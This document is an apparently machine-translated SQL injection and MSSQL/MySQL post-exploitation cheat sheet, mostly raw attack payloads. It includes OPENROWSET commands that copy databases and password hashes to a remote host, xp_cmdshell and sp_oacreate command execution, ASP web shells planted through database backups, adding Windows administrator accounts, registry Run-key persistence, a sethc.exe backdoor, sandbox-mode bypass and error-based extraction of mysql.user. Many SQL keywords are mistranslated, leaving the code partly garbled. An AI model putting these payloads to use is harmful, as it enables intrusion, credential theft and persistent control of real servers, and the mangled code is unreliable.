Ez a sorutasítás az összes adatot a cél haszt tábla2 táblájából a távoli _blank> adatbázis táblázatába másolja. Megfelelő javítások gyakorlati alkalmazásban

Változtasd meg az IP-címet és a csatlakozási lánc portját, hogy odamutasson, ahol szükséged van, például:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* az 1. táblázatból) válassz * a 2. táblázatból
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* _blank>_sysdatabases-től)
Válassz * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* _blank>_sysobjects-től)
válassz * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* _blank>_syscolumns-től)
Válassz * a user_blank>_database.dbo.syscolumns közül
Replikálj _blank> adatbázist:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* az 1. táblázatból) válassz * adatbázisból.. 1. táblázat
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select

* a 2. táblázatból) válassz * adatbázisból.. 2. táblázat

A jelszó hash-je, amely a hash table (HASH) bejelentkezést _blank> jelszót másolja, a sysxlogin-ban tárolódik. Íme, hogyan:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; , válassz * _blank>_sysxlogins közül)

Válassz * from database.dbo.sysxlogins
Ha megvan a hash, brute force tudod.

A könyvtár átjárásához: Először hozzon létre egy ideiglenes táblát: temp
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; Insert temp exec master.dbo.xp_blank>_availablemedia; – Szerezd meg az összes aktuális meghajtót
; insert be a temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Szerezzen alkönyvtárak listáját
; beillesztés a temp(id,num1) végrehajtó master.dbo.xp_blank>_dirtree c:\; – Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz,

Olvassd be a centimétereket az ideiglenes táblázatba
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – Fájl megtekintése

Tartalom
; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; beillesztés a temp(id,num1) végrehajtó master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Alkalmazandó Hatóság

PUBLIC)
Írj az asztalra:
1-es nyilatkozat: és 1=(Select IS_blank>_SRVROLEMEMBER(rendszergazdálkodó)); –
2-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
3-as állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
4-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
5-ös állítás: és 1=(Válassza ki IS_blank>_SRVROLEMEMBER(securityadmin)); –
6. állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); –
7-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
8. állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
9-es állítás: és 1=(Select IS_blank>_MEMBER(db_blank>_owner)); –

Írd meg az utat a táblához:
; create table dirs(paths varchar(100), id int)–
; Insert DIRS executive master.dbo.xp_blank>_dirtree c:\–
és 0<>(A DIRS-ből válassz ki a top 1 útvonalat)–
és 0<>(válassz ki a top 1 útvonalat a dir-ből, ahol nem be(@Inetpub))–
; create table dirs1(paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
és 0<>(Válassz ki a DIRS1-ből a Top 1 útvonalat)–

Biztonsági mentés _blank> adatbázisból egy webes könyvtárba: Letöltés
; @a rendszernevet jelent meg; halmaz @a=db_blank>_name(); Backup adatbázis @a disk=e:\web\down.bak; –

és 1=(Válassz top 1 nevet onnan(Válassz top 12 id,name from sysobjects, where xtype=char(85)) T

Megbízás: id desc)
és 1=(Válassz Top 1-et col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) a sysobjects-ből) Lásd még

Kapcsolódó táblázatok.
és 1=(USER_blank>_LOGIN közül válassz user_blank>_id)
és 0=(válassz felhasználót USER_blank>_LOGIN helyről, ahol a felhasználó>1)

-=- wscrip{filter}t.shell példa -=-
declène @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, fuss, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
deklaráld @line Varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f ki, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Kezdeni
Nyomtatott @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
vége

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, sebesség, 150
exec sp_blank>_oamethod @o, beszélj, NULL, minden folytatás szervered a 528-as céghez tartozik
Várj késésre 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, beszélj, NULL, minden folytatás szervered a miénk, 528 vár késleltetésre

00:00:05–

xp_blank>_dirtree az érintett NYILVÁNOS engedélyt
exec master.dbo.xp_blank>_dirtree c: A visszaadott információnak két mezője van: alkönyvtár, mélység. Alkönyvtár mezők

Karaktertípus, a mélységi mező a formáló mező.
create table dirs(paths varchar(100), id int)
Táblázatépítés, az itt létrehozott tábla kapcsolódik a fent említett xp_blank>_dirtree-hez, egyenlő mezőkkel és azonos típussal.
DIRS exec beadása master.dbo.xp_blank>_dirtree c: Amíg egy táblát építünk, és a tárolási folyamat által visszaadott mezőket egyenlő módon definiáljuk

Végrehajtsátok! A táblázatírás hatásának eléréséhez lépésről lépésre megszerezzük az információt, amit szeretnénk!
Ez a hibabehüccs főként a Mysql adattípus túlcsordulásán alapul
    a mysql > SELECT 18446744073709551610 * 2 ;
    HIBA 1690 (22003): BIGINT JELLEMEZTŐ érték nem a tartományon kívül van a '(18446744073709551610 * 2)' tartományban

    mysql > SELECT - 1 * 9223372036854775808 ;
    HIBA 1690 (22003): BIGINT JELLEMEZTŐ érték nem a hatótávolságon kívül van '(- (1) *

9223372036854775808)'
Adatbázis verzió lekérdezése:
    mysql> SELECT * 2 (if ((SELECT * from (SELECT (verzió ()) ) s), 18446744073709551610,

18446744073709551610));
    HIBA 1690 (22003): A BIGINT UNSIGNÁLT érték nem a tartományon kívül van '(2 * if (( Select '5.5 'from from

Dual), 18446744073709551610.18446744073709551610))'
Szerezd meg a mező nevét:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from from

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK nem a hatótávolságon kívül van '(2 * if(((select

'article','dealer','price' (select 'teszt'.'shop'.'article' AS

'article','teszt'.'shop'.'dealer' AS 'dealer','teszt'.'shop'.'price' AS 'price' from

'teszt'.'shop') határérték 1) > (select

'teszt'.'shop'.'article','teszt'.'shop'.'dealer','teszt'.'shop'.'price' from 'teszt'.'shop' limit

1)),18446744073709551610,18446744073709551610))'
Szerezd meg a mezőértéket:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK nem a hatótávolságon kívül van '(2 * if(((select

'helyi gazda','gyökér','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','

Y','Y','Y','Y','Y','Y','Y','Y','Y','','0','' KETTŐS LIMIT 1-BŐL)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Fontos megjegyezni, hogy ez a módszer nem működik a Mysql régebbi verzióival, és ismerned kell a hibaüzenet hosszkorlátját, mert ez határozza meg

Annyi időt kaphatsz, amennyit csak akarsz:
    Mysys / my_error.c

    /* Hibaüzenet maximális hossza. Összhangban kell maradni MYSQL_ERRMSG_SIZE-vel. */
    #define ERRMSGSIZE (512)

Ha az objektum MariaDB (a MySQL egyik forkja), akkor ilyen hibaüzenetet láthatsz, amikor a fenti módszert próbálod:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    HIBA 1690 (22003): A BIGINT UNSIGNÁLT érték a tartományon kívül van '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Megoldásként ezt a problémát így lehet megoldani:

    MySQL> SELECT (I NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    HIBA 1690 (22003): BIGINT érték kívül esik a tartományban '(('5.5-MariaDB' nem null) - -

(9223372036854775808))'
Most nézzük meg, hogy rövidebbé tudjuk-e tenni a vektorunkat

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT)

1)egy határ 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Néhány egyéb deformáció

    SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    select 1E308*if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT)

1) határ 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    MySQL> Select (select * from mysql.user)=1;
    MySQL> Select (select * from mysql.user)in(1);

    HIBA 1241 (21000): Az operándnak 42 oszlop(t) kell tartalmaznia
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK tartományon kívül van a tartományban '((not('root@localhost'))) - ~

(0))'
3. Bírálj meg az adatbázis-rendszert
; és (select count(*) a sysobjects-ből)>0 mssql
; és (select count(*) az msysobjects-ből)>0 hozzáférés
4. Az injekciós paraméter egy karakter
'and [lekérdezési kritériumok] és ''='
5. A keresés során nincsenek szűrt paraméterek
'and [lekérdezési kritériumok] és '%25'='
6. Találd ki az adatbázist
; és (válassza ki a Count(*) a [adatbázis név])>0
7. Találd ki a mezőt
; és (válaszd ki a Count(mező neve) adatbázis nevéből)>0
8. Találd ki a rekord hosszát a mezőn
; és (válaszd ki a top 1 lent (mező neve) az adatbázis nevéből)>0
9. (1) Tippeld ki a mező ASCII értékét (hozzáférés)
; és (az adatbázis nevéből válassz top 1 ASC(mid(field name, 1,1)))>0
(2) Tippeld ki a mező ASCII értékét (mssql)
; és (az adatbázis nevéből válassza ki a top 1 unicode(alstring(mező neve, 1,1)))>0
10. Tesztengedély szerkezete (mssql)
; és 1=(select IS_SRVROLEMEMBER('rendszergazdálkodó')); --
; és 1=(select IS_SRVROLEMEMBER('serveradmin')); --
; és 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; és 1=(select IS_SRVROLEMEMBER('securityadmin')); --
; és 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; és 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; és 1=(select IS_MEMBER('db_owner')); --
11. Fiók hozzáadása az mssql-hez és a rendszerhez
; vezetői master.dbo.sp_addlogin felhasználónév; --
; exec master.dbo.sp_password null, felhasználónév, jelszó; --
; vezető master.dbo.sp_addsrvrolemember rendszergazdozó felhasználónév; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'hálózati felhasználónév jelszó /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Átnézni a katalógust
; create table dirs(paths varchar(100), id int)
; Kerüld be a DIRS executive master.dbo.xp_dirtree 'c:\'
; és (válassz a DIRS-ből a top 1 útvonalat)>0
; és (válassz ki a top 1 útvonalat a dirs-ből, ahol az utak nincsenek ben('az előző lépésből kapott utak')))>)
(2) Átnézni a katalógust
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert temp exec master.dbo.xp_availablemedia; -- Szerezd meg az összes aktuális meghajtót
; bekerüljön a temp(id) végrehajtó master.dbo.xp_subdirs 'c:\'; -- Szerezz egy listát az alkönyvtárakról
; bekerülni a temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz
; beillesztés a temp(id) végrehajtó master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Tekintse meg a fájl tartalmát
13. Tárolt eljárások mssql-ben
xp_regenumvalues Registry root kulcs, gyermekkulcs
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' és még sok más

Rekordkészlet módszer minden kulcsérték visszaadására
xp_regread Gyökérkulcs, gyermekkulcs, kulcs-érték név
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' adja vissza a formulációs kulcs értékét
xp_regwrite Gyökérkulcs, gyermekkulcs, értéknév, értéktípus, érték
Kétféle értéktípus létezik REG_SZ REG_DWORD karaktertípusok és egész számok
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

A \CurrentVersion','TestvalueName','reg_sz','hello' betűk a regiszterhez vannak írva
xp_regdeletevalue Gyökérkulcs, alkulcs, értéknév
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' egy érték eltávolításához
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete key,

Minden értéket tartalmaz az adott kulcs alá
14. az mssql biztonsági mentés webshellet hoz létre
Használati modell
create table cmd(str image);
insert in in cmd(str) értékek ('<% Dim oscrip{filter}t %>');
backup database model a disk='c:\l.asp';
15. MSSQL beépített funkciók
; és (@@version)>0 opciót kaphatsz meg a Windows verziószámához
; és user_name()='dbo' annak megállapítására, hogy a jelenlegi rendszer csatlakoztatott felhasználója SA-e
; és (select user_name()))>0 Felrobbantották a jelenlegi rendszer csatlakoztatott felhasználóit
; és (válaszd ki a db_name())>0-t, hogy megkapd a jelenleg csatlakoztatott adatbázist
16. Tömör webshell
Használati modell
create table cmd(str image);
Insert into CMD(str) értékek ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
Kéréskor használj valamit, mint ezt:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Szerezd meg az összes adatbázis nevet, beleértve a rendszeradatbázisokat is.
–VÁLASSZ nevet a master.dbo.sysdatabases adatbázisokból

Minden nem rendszerbeli adatbázis nevet szerezz be
–select [name] a master.dbo.sysdatabases-ből, ahol DBId>6 Sorban [név] szerint

Szerezd meg az összes információt, beleértve az adatbázis-fájl címét is
–select * from master.dbo.sysdatabases , ahol DBId>6 Sorrend szerint

[Név]



Ez a lekérdezés minden felhasználói táblát visszaad

Válassz * a sysobjects-ből, ahol xtype='u'


Kérdezze le az összes adattábla információt a rendszerben

Válassz * a sysobjects-ből



Nézd meg a gép nevét
Válassz * a sys.server-ből





Oszlop tartalomjegyzéke
Executive master.dbo.xp_subdirs 'c:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
A jogosultságok érvényesíthetők


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programkód, webshellbe írva


az exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Executive sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Végrehajtsd a mestert.. xp_enumgroups  


Áthaladó rendszer felhasználói


Végrehajtsd a mestert.. xp_getnetname
Szerezd meg a jelenlegi gépnevet


--Sorold fel a fix meghajtókat a szerveren, valamint az egyes meghajtók rendelkezésre álló helyét
   dbo nyilvános


végrehajtás

xp_ntsec_enumdomains


--
Hozz létre fiókot, hogy bejelentkezz az MSSQL-be
vezető master.dbo.sp_addlogin név, pass; --






--
Listázd fel a szerver domain nevét
xp_ntsec_enumdomains //
Gépnév //dbo public


--
Szolgáltatás megállítása vagy indítása
xp_servicecontrol 'stop', 'schedule' //schedule a szolgáltatás neve //dbo


--Használj PID-t

Állítsd meg a végrehajtó programot
xp_terminate_process 123 //123 a PID //dbo


--
Csak a könyvtárban található alkönyvtárak találhatók
dbo.xp_subdirs 'C:' //dbo


SQL Server
A xp_cmdshell 2005-ös megnyitásának módja
EXEC sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; VEZETŐSÉG

sp_configure 'xp_cmdshell', 1; ÚJRAKONFIGURÁLÁS;

SQL2005 Nyisd meg az 'OPENROWSET'-et
Támogatott módszerek:
exec sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; vezető sp_configure 'Ad Hoc'

Terjesztett lekérdezések',1; ÚJRAKONFIGURÁLÁS;

SQL2005 a 'sp_oacreate' támogatás engedélyezéséhez:
exec sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; vezetője

sp_configure 'Ole automatizálási eljárások',1; ÚJRAKONFIGURÁLÁS





Hogyan engedélyezzük xp_cmdshell SQL Server 2008-ban


-- Hogy a fejlett opciók módosíthassák.
VEZETŐSÉG

sp_configure 'fejlett beállítások megjelenítése', 1
MENJ
-- A jelenleg konfigurált érték frissítésére

Fejlett opciók.
ÚJRAKONFIGURÁLÁS
MENJ
-- A funkció engedélyezéséhez.
VÉGREHAJTÓ sp_configure 'xp_cmdshell', 1
MENJ
-- Hogy

Frissítsd a jelenleg konfigurált értéket ehhez a funkcióhoz.
ÚJRAKONFIGURÁLÁS
MENJ


exec xp_cmdshell 'ipconfig'



Ma meg akartam változtatni az adatbázis szerver SA bejelentkezési jelszavát, de hirtelen elfelejtettem, így más fiókokkal együtt meg kellett nyitnom a lekérdezési analizátort a SA jelszó megváltoztatásához

Nagyon egyszerű:


Végrehajtás:
sp_password Null, 'teracypwd,'sa'
Állítsuk be a SA jelszót "teracypwd"-re


Sikeres kivégzés után

Van "Parancs(ok) sikeresen teljesítve."  OKÉ!








A adatbázis engedélyben különítsük el az MSSQL adatbázis-szerver IP-címének megszerzésének módszerét


1. Helyi NC hallgatja az NC-t - VVLP 80


2.; behelyezkedés

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Cím=az IP-címed, 80; ', 'válassz * from

dest_table') válassz * a src_table közül; --


Válassz * az openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')





Adatbázis behozatal és exportálás

/*不同服务器数据库之间的数据操作*/

--Hozzon létre link szervert
Végrehajtó sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Távoli szerver név vagy IP-cím'
az sp_addlinkedsrvlogin 'ITSV', 'hamis)

',null, 'felhasználónév', 'jelszó'

--lekérdezés példa
válassz * a ITSV.database name.dbo.table name

--import példa
Select *

az ITSV.databasename.dbo.tablename táblába

--Töröld a linkelt szervert, ha a jövőben már nem lesz használatban
az 'ITSV' sp_dropserver vezetője,

'droploginok'

--
Csatlakozás távoli/LAN adatokhoz (openrowset/openquery/opendatasource)
--1、openrowset

--lekérdezés példa
Select *

from openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; 'password', database name.dbo.table name)

--
Helyi tábla generálása
válassz * táblába az openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; 'Jelszó', szám

Az adatbázis name.dbo. tábla név szerint)

--
Importáljuk a helyi táblát a távoli táblába
insert openrowset( 'SQLOLEDB', 'SQL szerver name'; 'Felhasználónév'; 'Jelszók', adatbázisok

name.dbo.table name)
Válassz *helyi táblából

--
Helyi táblázatok frissítése
B frissítés
b halmaz: A oszlop = a
from openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; '

jelszó ', adatbázis név .dbo.table name) belső csatlakozási helyi B táblaként
a.column1=b.column1

--openquery
A használathoz kapcsolat létrehozása szükséges

--Először hozz létre egy kapcsolatot, hogy létrehozz egy link szervert
az ITSV sp_addlinkedserver vezetője, ' ',

'SQLOLEDB', 'távoli szerver név vagy IP cím'
--Érdeklődjön
Select *
FROM openquery(ITSV, 'SELECT * FROM adat

library.dbo.table name ')
--
Importáljuk a helyi táblát a távoli táblába
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Válassz * helyi helyiből

Táblázat
--helyi tábla frissítése
B frissítés
b halmaz: oszlop B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

mint  
belső csatlakozás helyi táblázat b a-n: oszlop A=b. oszlop A

--3、opendatasource/openrowset
SELECT *
FROM   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Felhasználói azonosító=Bejelentkezési név; Jelszó=Jelszó '

).test.dbo.roy_ta
--
Importáljuk a helyi táblát a távoli táblába



Törlés és xp_cmdshell visszaállítása


Módok a helyreállításra xp_cmdshell   
Töröld a kiterjesztett tárolt eljárást xp_cmdshell

Nyilatkozat   
az exec sp_dropextendedproc 'xp_cmdshell'   



A cmdshell SQL utasításának visszaállítása   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


vezetője

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Selectcount (*)

master.dbo.sysobjects , ahol xtype='x' és   
A visszaadás eredménye 1, és rendben van   


Ellenkező esetben fel kell töltened c:\inetput\web

\xplog70.dll később   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Ha a következő módon törlöd   
Drop eljárás sp_addextendedproc   
Drop eljárás sp_oacreate   
vezetője

sp_dropextendedproc 'xp_cmdshell'   



A következő állítással visszaállíthatod   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Így közvetlenül visszaállítható, függetlenül attól, hogy létezik-e sp_addextendedproc vagy sem






1、
Használd xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          vezetője

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

xp_cmdshell esetben sp_oacreate kövesd sp_oamethod:
          deklaráld @object int   
          vezetője

sp_oacreate 'wscrip{filter}t.Shell', @object ki         
          Executive sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administrators admin /add'

Megjegyzés: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Használj sp_oacreate és FSO
          declène @o int
          Executive sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklaráld @oo int
          vezetője

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Executive sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Használd xp_regwrite (db_owner, újraindítás szükséges):
          Vezető master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Vezető master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Használd sp_add_job:
          vezetője

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          Használd az MSDB exec sp_delete_job

null,'x'
          Végrehajtó sp_add_job 'X'
          Executive sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          Vezető sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Sok SA sikeres volt sok gépen, amely közvetlenül a sandbox módot használta, de én sosem gyakoroltam, és nem tudom, mekkora a sikerességi arány. Amikor a hosszabbítást eltávolítjuk, először

Állítsd vissza az olvasási és írási tárhelyet a regiszterbe.
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc

('xp_regwrite','xpstar.dll')



Javítottam a homokbox védett módját
Végrehajtó mester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Nézd meg, hogy a 'SandBoxMode' értéke 0-ra változott-e.


az exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Végül hívjuk a sandbox módot
Válassz * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')







Ha a homokdoboz védelmi mód nem "kikapcsolva", akkor hiba jelentkezik:
          Szerver: Msg 7357, 16. szint, 2-es állapot, 1. sor

Nem sikerült kezelni az objektumot 'select shell("cmd.exe /c net user user passwd /add")'. Az OLE DB programokat kínál

A 'microsoft.jet.oledb.4.0' előszó azt jelzi, hogy az objektumban nincsenek oszlopok.

OLE DB hibakövetés [Nem interfész hiba: OLE DB szolgáltató nem képes feldolgozni az objektumot, mivel az objektum

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Ha a .mdb nem létezik, vagy a bemeneti útvonal hibás
           Szerver: Msg 7399, 16. szint, 1. állam, 1. sor

OLE DB provider 'microsoft.jet.oledb.4.0' hiba.
            [OLE/DB szolgáltató visszaküldött üzenetet:

A 'C:\WINDOWS\system32\ias\dnary1.mdb' fájl nem található. ]

OLE DB hibakövetés [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return

0x80004005: ]。


3. Ha több hely van a bemeneti folyamat során, hibát is jelentenek. Különösen figyelj erre, sokan közvetlenül keresnek cikkeket az interneten

Ragasztsd be és hajtsd végre.
          Szerver: Msg 7357, 16. szint, 2-es állapot, 1. sor
          Nem sikeresen dolgozta fel az objektumot 'select

shell("cmd.exe /c net user passwd /add")'。
Az OLE DB szolgáltató, a 'microsoft.jet.oledb.4.0' azt állítja, hogy az objektumban nincsenek oszlopok.

OLE DB hibakövetés [Nem interfész hiba:
Az OLE DB szolgáltató nem tudja feldolgozni az objektumot, mivel az objektum

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Ha az mdb és cmd.exe jogosultságok hibásak, akkor a probléma is előfordul.
          Ha az MDB jogosultságok hibásak,
           Szerver: Kizárás

7320-as kamat, 16. szint, 2-es állam, 1-es vonal

Nem tudott válaszolni
Az OLE DB szolgáltató 'Microsoft.Jet.OLEDB.4.0' hajtja végre a lekérdezést.
           [OLE/DB szolgáltató visszatért

message: 未知]
           OLE DB hibakövetés [OLE/DB provider 'Microsoft.Jet.OLEDB.4.0'

